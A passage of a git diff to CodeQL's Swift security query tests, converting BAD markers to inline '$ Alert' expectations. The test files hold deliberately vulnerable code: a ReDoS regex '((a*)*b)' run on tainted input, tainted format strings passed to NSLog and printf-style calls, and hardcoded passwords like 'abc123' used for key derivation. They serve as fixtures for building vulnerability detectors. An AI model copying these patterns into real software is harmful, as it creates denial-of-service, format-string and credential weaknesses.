CTR(iv: randomIv, counter: 0) // GOOD } diff --git a/swift/ql/test/query-tests/Security/CWE-1333/ReDoS.qlref b/swift/ql/test/query-tests/Security/CWE-1333/ReDoS.qlref index a0bdcd8a864..5294bedca63 100644 --- a/swift/ql/test/query-tests/Security/CWE-1333/ReDoS.qlref +++ b/swift/ql/test/query-tests/Security/CWE-1333/ReDoS.qlref @@ -1 +1,2 @@ -queries/Security/CWE-1333/ReDoS.ql \ No newline at end of file +query: queries/Security/CWE-1333/ReDoS.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/swift/ql/test/query-tests/Security/CWE-1333/ReDoS.swift b/swift/ql/test/query-tests/Security/CWE-1333/ReDoS.swift index 0349bac0669..c7489a6e067 100644 --- a/swift/ql/test/query-tests/Security/CWE-1333/ReDoS.swift +++ b/swift/ql/test/query-tests/Security/CWE-1333/ReDoS.swift @@ -61,25 +61,25 @@ func myRegexpTests(myUrl: URL) throws { // Regex _ = "((a*)*b)" // GOOD (never used) - _ = try Regex("((a*)*b)") // DUBIOUS (never used) [FLAGGED] - _ = try Regex("((a*)*b)").firstMatch(in: untainted) // DUBIOUS (never used on tainted input) [FLAGGED] - _ = try Regex("((a*)*b)").firstMatch(in: tainted) // BAD + _ = try Regex("((a*)*b)") // $ Alert // DUBIOUS (never used) [FLAGGED] + _ = try Regex("((a*)*b)").firstMatch(in: untainted) // $ Alert // DUBIOUS (never used on tainted input) [FLAGGED] + _ = try Regex("((a*)*b)").firstMatch(in: tainted) // $ Alert _ = try Regex(".*").firstMatch(in: tainted) // GOOD (safe regex) - let str = "((a*)*b)" // BAD + let str = "((a*)*b)" // $ Alert let regex = try Regex(str) _ = try regex.firstMatch(in: tainted) - _ = try Regex(#"(?is)X(?:.|\n)*Y"#) // BAD - suggested attack should begin with 'x' or 'X', *not* 'isx' or 'isX' + _ = try Regex(#"(?is)X(?:.|\n)*Y"#) // $ Alert // BAD - suggested attack should begin with 'x' or 'X', *not* 'isx' or 'isX' // NSRegularExpression - _ = try? NSRegularExpression(pattern: "((a*)*b)") // DUBIOUS (never used) [FLAGGED] + _ = try? NSRegularExpression(pattern: "((a*)*b)") // $ Alert // DUBIOUS (never used) [FLAGGED] - let nsregex1 = try? NSRegularExpression(pattern: "((a*)*b)") // DUBIOUS (never used on tainted input) [FLAGGED] + let nsregex1 = try? NSRegularExpression(pattern: "((a*)*b)") // $ Alert // DUBIOUS (never used on tainted input) [FLAGGED] _ = nsregex1?.stringByReplacingMatches(in: untainted, range: NSRange(location: 0, length: untainted.utf16.count), withTemplate: "") - let nsregex2 = try? NSRegularExpression(pattern: "((a*)*b)") // BAD + let nsregex2 = try? NSRegularExpression(pattern: "((a*)*b)") // $ Alert _ = nsregex2?.stringByReplacingMatches(in: tainted, range: NSRange(location: 0, length: tainted.utf16.count), withTemplate: "") let nsregex3 = try? NSRegularExpression(pattern: ".*") // GOOD (safe regex) diff --git a/swift/ql/test/query-tests/Security/CWE-134/UncontrolledFormatString.qlref b/swift/ql/test/query-tests/Security/CWE-134/UncontrolledFormatString.qlref index 115fef47e47..62b791e5d6f 100644 --- a/swift/ql/test/query-tests/Security/CWE-134/UncontrolledFormatString.qlref +++ b/swift/ql/test/query-tests/Security/CWE-134/UncontrolledFormatString.qlref @@ -1 +1,2 @@ -queries/Security/CWE-134/UncontrolledFormatString.ql \ No newline at end of file +query: queries/Security/CWE-134/UncontrolledFormatString.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/swift/ql/test/query-tests/Security/CWE-134/UncontrolledFormatString.swift b/swift/ql/test/query-tests/Security/CWE-134/UncontrolledFormatString.swift index 2e3b082c63e..dd82c70ab68 100644 --- a/swift/ql/test/query-tests/Security/CWE-134/UncontrolledFormatString.swift +++ b/swift/ql/test/query-tests/Security/CWE-134/UncontrolledFormatString.swift @@ -76,7 +76,7 @@ func vasprintf_l(_ ret: UnsafeMutablePointer?>?, _ l func MyLog(_ format: String, _ args: CVarArg...) { withVaList(args) { arglist in - NSLogv(format, arglist) // BAD + NSLogv(format, arglist) // $ Alert } } @@ -88,34 +88,34 @@ class MyString { } func tests() throws { - let tainted = try! String(contentsOf: URL(string: "http://example.com")!) + let tainted = try! String(contentsOf: URL(string: "http://example.com")!) // $ Source _ = String("abc") // GOOD: not a format string _ = String(tainted) // GOOD: not a format string _ = String(format: "abc") // GOOD: not tainted - _ = String(format: tainted) // BAD + _ = String(format: tainted) // $ Alert _ = String(format: "%s", "abc") // GOOD: not tainted _ = String(format: "%s", tainted) // GOOD: format string itself is not tainted - _ = String(format: tainted, "abc") // BAD - _ = String(format: tainted, tainted) // BAD + _ = String(format: tainted, "abc") // $ Alert + _ = String(format: tainted, tainted) // $ Alert - _ = String(format: tainted, arguments: []) // BAD - _ = String(format: tainted, locale: nil) // BAD - _ = String(format: tainted, locale: nil, arguments: []) // BAD - _ = String.localizedStringWithFormat(tainted) // BAD + _ = String(format: tainted, arguments: []) // $ Alert + _ = String(format: tainted, locale: nil) // $ Alert + _ = String(format: tainted, locale: nil, arguments: []) // $ Alert + _ = String.localizedStringWithFormat(tainted) // $ Alert - _ = NSString(format: NSString(string: tainted), "abc") // BAD - NSString.localizedStringWithFormat(NSString(string: tainted)) // BAD + _ = NSString(format: NSString(string: tainted), "abc") // $ Alert + NSString.localizedStringWithFormat(NSString(string: tainted)) // $ Alert - _ = NSMutableString(format: NSString(string: tainted), "abc") // BAD - NSMutableString.localizedStringWithFormat(NSString(string: tainted)) // BAD + _ = NSMutableString(format: NSString(string: tainted), "abc") // $ Alert + NSMutableString.localizedStringWithFormat(NSString(string: tainted)) // $ Alert NSLog("abc") // GOOD: not tainted - NSLog(tainted) // BAD - MyLog(tainted) // BAD + NSLog(tainted) // $ Alert + MyLog(tainted) // $ Alert - NSException.raise(NSExceptionName("exception"), format: tainted, arguments: getVaList([])) // BAD + NSException.raise(NSExceptionName("exception"), format: tainted, arguments: getVaList([])) // $ Alert let taintedVal = Int(tainted)! let taintedSan = "\(taintedVal)" @@ -127,32 +127,32 @@ func tests() throws { _ = String("abc").appendingFormat("%s", "abc") // GOOD: not tainted _ = String("abc").appendingFormat("%s", tainted) // GOOD: format not tainted - _ = String("abc").appendingFormat(tainted, "abc") // BAD + _ = String("abc").appendingFormat(tainted, "abc") // $ Alert _ = String(tainted).appendingFormat("%s", "abc") // GOOD: format not tainted let s = NSMutableString(string: "foo") s.appendFormat(NSString(string: "%s"), "abc") // GOOD: not tainted - s.appendFormat(NSString(string: tainted), "abc") // BAD + s.appendFormat(NSString(string: tainted), "abc") // $ Alert _ = NSPredicate(format: tainted) // GOOD: this should be flagged by `swift/predicate-injection`, not `swift/uncontrolled-format-string` tainted.withCString({ cstr in - _ = dprintf(0, cstr, "abc") // BAD + _ = dprintf(0, cstr, "abc") // $ Alert _ = dprintf(0, "%s", cstr) // GOOD: format not tainted - _ = vprintf(cstr, getVaList(["abc"])) // BAD + _ = vprintf(cstr, getVaList(["abc"])) // $ Alert _ = vprintf("%s", getVaList([cstr])) // GOOD: format not tainted - _ = vfprintf(nil, cstr, getVaList(["abc"])) // BAD + _ = vfprintf(nil, cstr, getVaList(["abc"])) // $ Alert _ = vfprintf(nil, "%s", getVaList([cstr])) // GOOD: format not tainted - _ = vasprintf_l(nil, nil, cstr, getVaList(["abc"])) // BAD + _ = vasprintf_l(nil, nil, cstr, getVaList(["abc"])) // $ Alert _ = vasprintf_l(nil, nil, "%s", getVaList([cstr])) // GOOD: format not tainted }) myFormatMessage(string: tainted, "abc") // BAD [NOT DETECTED] myFormatMessage(string: "%s", tainted) // GOOD: format not tainted - _ = MyString(format: tainted, "abc") // BAD + _ = MyString(format: tainted, "abc") // $ Alert _ = MyString(format: "%s", tainted) // GOOD: format not tainted - _ = MyString(formatString: tainted, "abc") // BAD + _ = MyString(formatString: tainted, "abc") // $ Alert _ = MyString(formatString: "%s", tainted) // GOOD: format not tainted } diff --git a/swift/ql/test/query-tests/Security/CWE-259/ConstantPassword.qlref b/swift/ql/test/query-tests/Security/CWE-259/ConstantPassword.qlref index 0613f192631..57f452daecf 100644 --- a/swift/ql/test/query-tests/Security/CWE-259/ConstantPassword.qlref +++ b/swift/ql/test/query-tests/Security/CWE-259/ConstantPassword.qlref @@ -1 +1,2 @@ -queries/Security/CWE-259/ConstantPassword.ql +query: queries/Security/CWE-259/ConstantPassword.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/swift/ql/test/query-tests/Security/CWE-259/rncryptor.swift b/swift/ql/test/query-tests/Security/CWE-259/rncryptor.swift index 6de5873c459..b115bb6750b 100644 --- a/swift/ql/test/query-tests/Security/CWE-259/rncryptor.swift +++ b/swift/ql/test/query-tests/Security/CWE-259/rncryptor.swift @@ -66,7 +66,7 @@ func test(cond: Bool) { let myData = Data(0) let myRandomPassword = getARandomPassword() - let myConstPassword = "abc123" + let myConstPassword = "abc123" // $ Source let myMaybePassword = cond ? myRandomPassword : myConstPassword // reasonable usage @@ -74,11 +74,11 @@ func test(cond: Bool) { let a = try? myEncryptor.encryptData(myData, with: kRNCryptorAES256Settings, password: myRandomPassword) // GOOD let _ = try? myDecryptor.decryptData(a, withPassword: myRandomPassword) // GOOD - let b = try? myEncryptor.encryptData(myData, with: kRNCryptorAES256Settings, password: myConstPassword) // BAD - let _ = try? myDecryptor.decryptData(b, withPassword: myConstPassword) // BAD + let b = try? myEncryptor.encryptData(myData, with: kRNCryptorAES256Settings, password: myConstPassword) // $ Alert + let _ = try? myDecryptor.decryptData(b, withPassword: myConstPassword) // $ Alert - let c = try? myEncryptor.encryptData(myData, with: kRNCryptorAES256Settings, password: myMaybePassword) // BAD - let _ = try? myDecryptor.decryptData(c, withPassword: myMaybePassword) // BAD + let c = try? myEncryptor.encryptData(myData, with: kRNCryptorAES256Settings, password: myMaybePassword) // $ Alert + let _ = try? myDecryptor.decryptData(c, withPassword: myMaybePassword) // $ Alert // all methods @@ -88,22 +88,22 @@ func test(cond: Bool) { let mySalt = Data(0) let mySalt2 = Data(0) - let _ = myEncryptor.key(forPassword: myConstPassword, salt: mySalt, settings: myKeyDerivationSettings) // BAD - let _ = myEncryptor.keyForPassword(myConstPassword, salt: mySalt, settings: myKeyDerivationSettings) // BAD - let _ = myDecryptor.key(forPassword: myConstPassword, salt: mySalt, settings: myKeyDerivationSettings) // BAD - let _ = myDecryptor.keyForPassword(myConstPassword, salt: mySalt, settings: myKeyDerivationSettings) // BAD + let _ = myEncryptor.key(forPassword: myConstPassword, salt: mySalt, settings: myKeyDerivationSettings) // $ Alert + let _ = myEncryptor.keyForPassword(myConstPassword, salt: mySalt, settings: myKeyDerivationSettings) // $ Alert + let _ = myDecryptor.key(forPassword: myConstPassword, salt: mySalt, settings: myKeyDerivationSettings) // $ Alert + let _ = myDecryptor.keyForPassword(myConstPassword, salt: mySalt, settings: myKeyDerivationSettings) // $ Alert - let _ = RNEncryptor(settings: kRNCryptorAES256Settings, password: myConstPassword, handler: myHandler) // BAD - let _ = RNEncryptor(settings: kRNCryptorAES256Settings, password: myConstPassword, iv: myIV, encryptionSalt: mySalt, hmacSalt: mySalt2, handler: myHandler) // BAD - let _ = RNEncryptor(settings: kRNCryptorAES256Settings, password: myConstPassword, IV: myIV, encryptionSalt: mySalt, HMACSalt: mySalt2, handler: myHandler) // BAD + let _ = RNEncryptor(settings: kRNCryptorAES256Settings, password: myConstPassword, handler: myHandler) // $ Alert + let _ = RNEncryptor(settings: kRNCryptorAES256Settings, password: myConstPassword, iv: myIV, encryptionSalt: mySalt, hmacSalt: mySalt2, handler: myHandler) // $ Alert + let _ = RNEncryptor(settings: kRNCryptorAES256Settings, password: myConstPassword, IV: myIV, encryptionSalt: mySalt, HMACSalt: mySalt2, handler: myHandler) // $ Alert - let _ = try? myEncryptor.encryptData(myData, with: kRNCryptorAES256Settings, password: myConstPassword) // BAD - let _ = try? myEncryptor.encryptData(myData, withSettings: kRNCryptorAES256Settings, password: myConstPassword) // BAD - let _ = try? myEncryptor.encryptData(myData, with: kRNCryptorAES256Settings, password: myConstPassword, iv: myIV, encryptionSalt: mySalt, hmacSalt: mySalt2) // BAD - let _ = try? myEncryptor.encryptData(myData, withSettings: kRNCryptorAES256Settings, password: myConstPassword, IV: myIV, encryptionSalt: mySalt, HMACSalt: mySalt2) // BAD + let _ = try? myEncryptor.encryptData(myData, with: kRNCryptorAES256Settings, password: myConstPassword) // $ Alert + let _ = try? myEncryptor.encryptData(myData, withSettings: kRNCryptorAES256Settings, password: myConstPassword) // $ Alert + let _ = try? myEncryptor.encryptData(myData, with: kRNCryptorAES256Settings, password: myConstPassword, iv: myIV, encryptionSalt: mySalt, hmacSalt: mySalt2) // $ Alert + let _ = try? myEncryptor.encryptData(myData, withSettings: kRNCryptorAES256Settings, password: myConstPassword, IV: myIV, encryptionSalt: mySalt, HMACSalt: mySalt2) // $ Alert - let _ = RNDecryptor(password: myConstPassword, handler: myHandler) // BAD + let _ = RNDecryptor(password: myConstPassword, handler: myHandler) // $ Alert - let _ = try? myDecryptor.decryptData(myData, withPassword: myConstPassword) // BAD - let _ = try? myDecryptor.decryptData(myData, withSettings: kRNCryptorAES256Settings, password: myConstPassword) // BAD + let _ = try? myDecryptor.decryptData(myData, withPassword: myConstPassword) // $ Alert + let _ = try? myDecryptor.decryptData(myData, withSettings: kRNCryptorAES256Settings, password: myConstPassword) // $ Alert } diff --git a/swift/ql/test/query-tests/Security/CWE-259/test.swift b/swift/ql/test/query-tests/Security/CWE-259/test.swift index 923c49bffbd..da657b95b6a 100644 --- a/swift/ql/test/query-tests/Security/CWE-259/test.swift +++ b/swift/ql/test/query-tests/Security/CWE-259/test.swift @@ -26,7 +26,7 @@ final class Scrypt { // Helper functions func getConstantString() -> String { - "this string is constant" + "this string is constant" // $ Source } func getConstantArray() -> Array { @@ -40,7 +40,7 @@ func getRandomArray() -> Array { // --- tests --- func test() { - let constantPassword: Array = [0x2a, 0x3a, 0x80, 0x05, 0xaf, 0x46, 0x58, 0x2d, 0x66, 0x52, 0x10, 0xae, 0x86, 0xd3, 0x8e, 0x8f] + let constantPassword: Array = [0x2a, 0x3a, 0x80, 0x05, 0xaf, 0x46, 0x58, 0x2d, 0x66, 0x52, 0x10, 0xae, 0x86, 0xd3, 0x8e, 0x8f] // $ Source let constantStringPassword = getConstantArray() let randomPassword = getRandomArray() let randomArray = getRandomArray() @@ -48,23 +48,23 @@ func test() { let iterations = 120120 // HKDF test cases - let hkdfb1 = HKDF(password: constantPassword, salt: randomArray, info: randomArray, keyLength: 0, variant: variant) // BAD - let hkdfb2 = HKDF(password: constantStringPassword, salt: randomArray, info: randomArray, keyLength: 0, variant: variant) // BAD + let hkdfb1 = HKDF(password: constantPassword, salt: randomArray, info: randomArray, keyLength: 0, variant: variant) // $ Alert + let hkdfb2 = HKDF(password: constantStringPassword, salt: randomArray, info: randomArray, keyLength: 0, variant: variant) // $ Alert let hkdfg1 = HKDF(password: randomPassword, salt: randomArray, info: randomArray, keyLength: 0, variant: variant) // GOOD // PBKDF1 test cases - let pbkdf1b1 = PKCS5.PBKDF1(password: constantPassword, salt: randomArray, iterations: iterations, keyLength: 0) // BAD - let pbkdf1b2 = PKCS5.PBKDF1(password: constantStringPassword, salt: randomArray, iterations: iterations, keyLength: 0) // BAD + let pbkdf1b1 = PKCS5.PBKDF1(password: constantPassword, salt: randomArray, iterations: iterations, keyLength: 0) // $ Alert + let pbkdf1b2 = PKCS5.PBKDF1(password: constantStringPassword, salt: randomArray, iterations: iterations, keyLength: 0) // $ Alert let pbkdf1g1 = PKCS5.PBKDF1(password: randomPassword, salt: randomArray, iterations: iterations, keyLength: 0) // GOOD // PBKDF2 test cases - let pbkdf2b1 = PKCS5.PBKDF2(password: constantPassword, salt: randomArray, iterations: iterations, keyLength: 0) // BAD - let pbkdf2b2 = PKCS5.PBKDF2(password: constantStringPassword, salt: randomArray, iterations: iterations, keyLength: 0) // BAD + let pbkdf2b1 = PKCS5.PBKDF2(password: constantPassword, salt: randomArray, iterations: iterations, keyLength: 0) // $ Alert + let pbkdf2b2 = PKCS5.PBKDF2(password: constantStringPassword, salt: randomArray, iterations: iterations, keyLength: 0) // $ Alert let pbkdf2g1 = PKCS5.PBKDF2(password: randomPassword, salt: randomArray, iterations: iterations, keyLength: 0) // GOOD // Scrypt test cases - let scryptb1 = Scrypt(password: constantPassword, salt: randomArray, dkLen: 64, N: 16384, r: 8, p: 1) // BAD - let scryptb2 = Scrypt(password: constantStringPassword, salt: randomArray, dkLen: 64, N: 16384, r: 8, p: 1) // BAD + let scryptb1 = Scrypt(password: constantPassword, salt: randomArray, dkLen: 64, N: 16384, r: 8, p: 1) // $ Alert + let scryptb2 = Scrypt(password: constantStringPassword, salt: randomArray, dkLen: 64, N: 16384, r: 8, p: 1) // $ Alert let scryptg1 = Scrypt(password: randomPassword, salt: randomArray, dkLen: 64, N: 16384, r: 8, p: 1) // GOOD } diff --git a/swift/ql/test/query-tests/Security/CWE-311/CleartextStorageDatabase.expected b/swift/ql/test/query-tests/Security/CWE-311/CleartextStorageDatabase.expected index 204e2486cc2..e3517d64826 100644 --- a/swift/ql/test/query-tests/Security/CWE-311/CleartextStorageDatabase.expected +++ b/swift/ql/test/query-tests/Security/CWE-311/CleartextStorageDatabase.expected @@ -1,3 +1,143 @@ +#select +| SQLite.swift:123:17:123:17 | insertQuery | SQLite.swift:119:70:119:70 | mobilePhoneNumber | SQLite.swift:123:17:123:17 | insertQuery | This operation stores 'insertQuery' in a database. It may contain unencrypted sensitive data from $@. | SQLite.swift:119:70:119:70 | mobilePhoneNumber | mobilePhoneNumber | +| SQLite.swift:124:17:124:17 | updateQuery | SQLite.swift:120:50:120:50 | mobilePhoneNumber | SQLite.swift:124:17:124:17 | updateQuery | This operation stores 'updateQuery' in a database. It may contain unencrypted sensitive data from $@. | SQLite.swift:120:50:120:50 | mobilePhoneNumber | mobilePhoneNumber | +| SQLite.swift:127:21:127:21 | insertQuery | SQLite.swift:119:70:119:70 | mobilePhoneNumber | SQLite.swift:127:21:127:21 | insertQuery | This operation stores 'insertQuery' in a database. It may contain unencrypted sensitive data from $@. | SQLite.swift:119:70:119:70 | mobilePhoneNumber | mobilePhoneNumber | +| SQLite.swift:128:21:128:21 | updateQuery | SQLite.swift:120:50:120:50 | mobilePhoneNumber | SQLite.swift:128:21:128:21 | updateQuery | This operation stores 'updateQuery' in a database. It may contain unencrypted sensitive data from $@. | SQLite.swift:120:50:120:50 | mobilePhoneNumber | mobilePhoneNumber | +| SQLite.swift:131:17:131:17 | insertQuery | SQLite.swift:119:70:119:70 | mobilePhoneNumber | SQLite.swift:131:17:131:17 | insertQuery | This operation stores 'insertQuery' in a database. It may contain unencrypted sensitive data from $@. | SQLite.swift:119:70:119:70 | mobilePhoneNumber | mobilePhoneNumber | +| SQLite.swift:132:17:132:17 | updateQuery | SQLite.swift:120:50:120:50 | mobilePhoneNumber | SQLite.swift:132:17:132:17 | updateQuery | This operation stores 'updateQuery' in a database. It may contain unencrypted sensitive data from $@. | SQLite.swift:120:50:120:50 | mobilePhoneNumber | mobilePhoneNumber | +| SQLite.swift:135:20:135:20 | insertQuery | SQLite.swift:119:70:119:70 | mobilePhoneNumber | SQLite.swift:135:20:135:20 | insertQuery | This operation stores 'insertQuery' in a database. It may contain unencrypted sensitive data from $@. | SQLite.swift:119:70:119:70 | mobilePhoneNumber | mobilePhoneNumber | +| SQLite.swift:136:20:136:20 | updateQuery | SQLite.swift:120:50:120:50 | mobilePhoneNumber | SQLite.swift:136:20:136:20 | updateQuery | This operation stores 'updateQuery' in a database. It may contain unencrypted sensitive data from $@. | SQLite.swift:120:50:120:50 | mobilePhoneNumber | mobilePhoneNumber | +| SQLite.swift:139:24:139:24 | insertQuery | SQLite.swift:119:70:119:70 | mobilePhoneNumber | SQLite.swift:139:24:139:24 | insertQuery | This operation stores 'insertQuery' in a database. It may contain unencrypted sensitive data from $@. | SQLite.swift:119:70:119:70 | mobilePhoneNumber | mobilePhoneNumber | +| SQLite.swift:140:24:140:24 | updateQuery | SQLite.swift:120:50:120:50 | mobilePhoneNumber | SQLite.swift:140:24:140:24 | updateQuery | This operation stores 'updateQuery' in a database. It may contain unencrypted sensitive data from $@. | SQLite.swift:120:50:120:50 | mobilePhoneNumber | mobilePhoneNumber | +| SQLite.swift:147:32:147:32 | [...] | SQLite.swift:147:32:147:32 | mobilePhoneNumber | SQLite.swift:147:32:147:32 | [...] | This operation stores '[...]' in a database. It may contain unencrypted sensitive data from $@. | SQLite.swift:147:32:147:32 | mobilePhoneNumber | mobilePhoneNumber | +| SQLite.swift:148:28:148:28 | [...] | SQLite.swift:148:28:148:28 | mobilePhoneNumber | SQLite.swift:148:28:148:28 | [...] | This operation stores '[...]' in a database. It may contain unencrypted sensitive data from $@. | SQLite.swift:148:28:148:28 | mobilePhoneNumber | mobilePhoneNumber | +| SQLite.swift:149:31:149:31 | [...] | SQLite.swift:149:31:149:31 | mobilePhoneNumber | SQLite.swift:149:31:149:31 | [...] | This operation stores '[...]' in a database. It may contain unencrypted sensitive data from $@. | SQLite.swift:149:31:149:31 | mobilePhoneNumber | mobilePhoneNumber | +| SQLite.swift:152:21:152:21 | [...] | SQLite.swift:152:21:152:21 | mobilePhoneNumber | SQLite.swift:152:21:152:21 | [...] | This operation stores '[...]' in a database. It may contain unencrypted sensitive data from $@. | SQLite.swift:152:21:152:21 | mobilePhoneNumber | mobilePhoneNumber | +| SQLite.swift:153:20:153:20 | [...] | SQLite.swift:153:20:153:20 | mobilePhoneNumber | SQLite.swift:153:20:153:20 | [...] | This operation stores '[...]' in a database. It may contain unencrypted sensitive data from $@. | SQLite.swift:153:20:153:20 | mobilePhoneNumber | mobilePhoneNumber | +| SQLite.swift:154:23:154:23 | [...] | SQLite.swift:154:23:154:23 | mobilePhoneNumber | SQLite.swift:154:23:154:23 | [...] | This operation stores '[...]' in a database. It may contain unencrypted sensitive data from $@. | SQLite.swift:154:23:154:23 | mobilePhoneNumber | mobilePhoneNumber | +| SQLite.swift:158:32:158:54 | [...] | SQLite.swift:158:33:158:33 | mobilePhoneNumber | SQLite.swift:158:32:158:54 | [...] | This operation stores '[...]' in a database. It may contain unencrypted sensitive data from $@. | SQLite.swift:158:33:158:33 | mobilePhoneNumber | mobilePhoneNumber | +| SQLite.swift:159:28:159:50 | [...] | SQLite.swift:159:29:159:29 | mobilePhoneNumber | SQLite.swift:159:28:159:50 | [...] | This operation stores '[...]' in a database. It may contain unencrypted sensitive data from $@. | SQLite.swift:159:29:159:29 | mobilePhoneNumber | mobilePhoneNumber | +| SQLite.swift:160:31:160:53 | [...] | SQLite.swift:160:32:160:32 | mobilePhoneNumber | SQLite.swift:160:31:160:53 | [...] | This operation stores '[...]' in a database. It may contain unencrypted sensitive data from $@. | SQLite.swift:160:32:160:32 | mobilePhoneNumber | mobilePhoneNumber | +| SQLite.swift:163:21:163:43 | [...] | SQLite.swift:163:22:163:22 | mobilePhoneNumber | SQLite.swift:163:21:163:43 | [...] | This operation stores '[...]' in a database. It may contain unencrypted sensitive data from $@. | SQLite.swift:163:22:163:22 | mobilePhoneNumber | mobilePhoneNumber | +| SQLite.swift:164:20:164:42 | [...] | SQLite.swift:164:21:164:21 | mobilePhoneNumber | SQLite.swift:164:20:164:42 | [...] | This operation stores '[...]' in a database. It may contain unencrypted sensitive data from $@. | SQLite.swift:164:21:164:21 | mobilePhoneNumber | mobilePhoneNumber | +| SQLite.swift:165:23:165:45 | [...] | SQLite.swift:165:24:165:24 | mobilePhoneNumber | SQLite.swift:165:23:165:45 | [...] | This operation stores '[...]' in a database. It may contain unencrypted sensitive data from $@. | SQLite.swift:165:24:165:24 | mobilePhoneNumber | mobilePhoneNumber | +| SQLite.swift:169:32:169:70 | [...] | SQLite.swift:169:53:169:53 | mobilePhoneNumber | SQLite.swift:169:32:169:70 | [...] | This operation stores '[...]' in a database. It may contain unencrypted sensitive data from $@. | SQLite.swift:169:53:169:53 | mobilePhoneNumber | mobilePhoneNumber | +| SQLite.swift:170:28:170:66 | [...] | SQLite.swift:170:49:170:49 | mobilePhoneNumber | SQLite.swift:170:28:170:66 | [...] | This operation stores '[...]' in a database. It may contain unencrypted sensitive data from $@. | SQLite.swift:170:49:170:49 | mobilePhoneNumber | mobilePhoneNumber | +| SQLite.swift:171:31:171:69 | [...] | SQLite.swift:171:52:171:52 | mobilePhoneNumber | SQLite.swift:171:31:171:69 | [...] | This operation stores '[...]' in a database. It may contain unencrypted sensitive data from $@. | SQLite.swift:171:52:171:52 | mobilePhoneNumber | mobilePhoneNumber | +| SQLite.swift:174:21:174:59 | [...] | SQLite.swift:174:42:174:42 | mobilePhoneNumber | SQLite.swift:174:21:174:59 | [...] | This operation stores '[...]' in a database. It may contain unencrypted sensitive data from $@. | SQLite.swift:174:42:174:42 | mobilePhoneNumber | mobilePhoneNumber | +| SQLite.swift:175:20:175:58 | [...] | SQLite.swift:175:41:175:41 | mobilePhoneNumber | SQLite.swift:175:20:175:58 | [...] | This operation stores '[...]' in a database. It may contain unencrypted sensitive data from $@. | SQLite.swift:175:41:175:41 | mobilePhoneNumber | mobilePhoneNumber | +| SQLite.swift:176:23:176:61 | [...] | SQLite.swift:176:44:176:44 | mobilePhoneNumber | SQLite.swift:176:23:176:61 | [...] | This operation stores '[...]' in a database. It may contain unencrypted sensitive data from $@. | SQLite.swift:176:44:176:44 | mobilePhoneNumber | mobilePhoneNumber | +| SQLite.swift:186:40:186:54 | [...] | SQLite.swift:186:54:186:54 | mobilePhoneNumber | SQLite.swift:186:40:186:54 | [...] | This operation stores '[...]' in a database. It may contain unencrypted sensitive data from $@. | SQLite.swift:186:54:186:54 | mobilePhoneNumber | mobilePhoneNumber | +| SQLite.swift:189:26:189:40 | [...] | SQLite.swift:189:40:189:40 | mobilePhoneNumber | SQLite.swift:189:26:189:40 | [...] | This operation stores '[...]' in a database. It may contain unencrypted sensitive data from $@. | SQLite.swift:189:40:189:40 | mobilePhoneNumber | mobilePhoneNumber | +| SQLite.swift:191:27:191:41 | [...] | SQLite.swift:191:41:191:41 | mobilePhoneNumber | SQLite.swift:191:27:191:41 | [...] | This operation stores '[...]' in a database. It may contain unencrypted sensitive data from $@. | SQLite.swift:191:41:191:41 | mobilePhoneNumber | mobilePhoneNumber | +| SQLite.swift:193:26:193:89 | [...] | SQLite.swift:193:72:193:72 | mobilePhoneNumber | SQLite.swift:193:26:193:89 | [...] | This operation stores '[...]' in a database. It may contain unencrypted sensitive data from $@. | SQLite.swift:193:72:193:72 | mobilePhoneNumber | mobilePhoneNumber | +| SQLite.swift:199:30:199:30 | badMany | SQLite.swift:197:32:197:32 | mobilePhoneNumber | SQLite.swift:199:30:199:30 | badMany | This operation stores 'badMany' in a database. It may contain unencrypted sensitive data from $@. | SQLite.swift:197:32:197:32 | mobilePhoneNumber | mobilePhoneNumber | +| SQLite.swift:201:54:201:54 | badMany | SQLite.swift:197:32:197:32 | mobilePhoneNumber | SQLite.swift:201:54:201:54 | badMany | This operation stores 'badMany' in a database. It may contain unencrypted sensitive data from $@. | SQLite.swift:197:32:197:32 | mobilePhoneNumber | mobilePhoneNumber | +| sqlite3_c_api.swift:46:27:46:27 | insertQuery | sqlite3_c_api.swift:42:69:42:69 | medicalNotes | sqlite3_c_api.swift:46:27:46:27 | insertQuery | This operation stores 'insertQuery' in a database. It may contain unencrypted sensitive data from $@. | sqlite3_c_api.swift:42:69:42:69 | medicalNotes | medicalNotes | +| sqlite3_c_api.swift:47:27:47:27 | updateQuery | sqlite3_c_api.swift:43:49:43:49 | medicalNotes | sqlite3_c_api.swift:47:27:47:27 | updateQuery | This operation stores 'updateQuery' in a database. It may contain unencrypted sensitive data from $@. | sqlite3_c_api.swift:43:49:43:49 | medicalNotes | medicalNotes | +| sqlite3_c_api.swift:58:36:58:36 | medicalNotes | sqlite3_c_api.swift:58:36:58:36 | medicalNotes | sqlite3_c_api.swift:58:36:58:36 | medicalNotes | This operation stores 'medicalNotes' in a database. It may contain unencrypted sensitive data from $@. | sqlite3_c_api.swift:58:36:58:36 | medicalNotes | medicalNotes | +| testCoreData2.swift:37:2:37:2 | obj | testCoreData2.swift:37:16:37:16 | bankAccountNo | testCoreData2.swift:37:2:37:2 | [post] obj | This operation stores 'obj' in a database. It may contain unencrypted sensitive data from $@. | testCoreData2.swift:37:16:37:16 | bankAccountNo | bankAccountNo | +| testCoreData2.swift:39:2:39:2 | obj | testCoreData2.swift:39:28:39:28 | bankAccountNo | testCoreData2.swift:39:2:39:2 | [post] obj | This operation stores 'obj' in a database. It may contain unencrypted sensitive data from $@. | testCoreData2.swift:39:28:39:28 | bankAccountNo | bankAccountNo | +| testCoreData2.swift:41:2:41:2 | obj | testCoreData2.swift:41:29:41:29 | bankAccountNo | testCoreData2.swift:41:2:41:2 | [post] obj | This operation stores 'obj' in a database. It may contain unencrypted sensitive data from $@. | testCoreData2.swift:41:29:41:29 | bankAccountNo | bankAccountNo | +| testCoreData2.swift:43:2:43:2 | obj | testCoreData2.swift:43:35:43:35 | bankAccountNo | testCoreData2.swift:43:2:43:2 | [post] obj | This operation stores 'obj' in a database. It may contain unencrypted sensitive data from $@. | testCoreData2.swift:43:35:43:35 | bankAccountNo | bankAccountNo | +| testCoreData2.swift:46:2:46:10 | ...? | testCoreData2.swift:46:22:46:22 | bankAccountNo | testCoreData2.swift:46:2:46:10 | [post] ...? | This operation stores '...?' in a database. It may contain unencrypted sensitive data from $@. | testCoreData2.swift:46:22:46:22 | bankAccountNo | bankAccountNo | +| testCoreData2.swift:48:2:48:10 | ...? | testCoreData2.swift:48:34:48:34 | bankAccountNo | testCoreData2.swift:48:2:48:10 | [post] ...? | This operation 